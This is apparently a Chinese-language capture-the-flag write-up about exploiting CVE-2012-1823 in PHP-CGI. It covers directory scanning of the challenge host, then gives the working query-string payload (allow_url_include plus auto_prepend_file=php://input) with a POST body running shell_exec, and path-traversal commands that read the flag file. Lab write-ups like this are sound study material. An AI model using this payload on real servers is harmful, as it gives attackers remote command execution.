关于CGI知识点
CGI模式下的参数:
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
题目如下图,没有什么发现
目录扫描一下
dirsearch -u http://47.96.234.169:32349/
发现info.php,直接访问/info.php
可以发现其php版本为5.4.1,而且可以看到一个cve字样:cve20121823
参考博客[CVE-2012-1823(PHP-CGI远程代码执行)_cve20121823-CSDN博客]
然后我们使用burp抓包,便于观察回显
首先我们使用-s命令查看一下源代码
可以准确得到源码<?php phpinfo();
接着我们使用-d 指定配置项,这里我们可以结合post请求执行命令
?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input #payload
<?php echo shell_exec('whoami');?> #post请求内容
可以看到当前用户的名称为“www-data”
然后我们使用ls命令列一下目录
得到index.php和info.php,使用cat命令查看一下index.php
提示我们这里没什么东西,我们猜测flag可能在根目录下,目录穿越一下
ls ../../../
发现flag,查看即可得到flag{32a52c19-c1db-4479-ac54-ab59d8d45977}
cat ../../../flag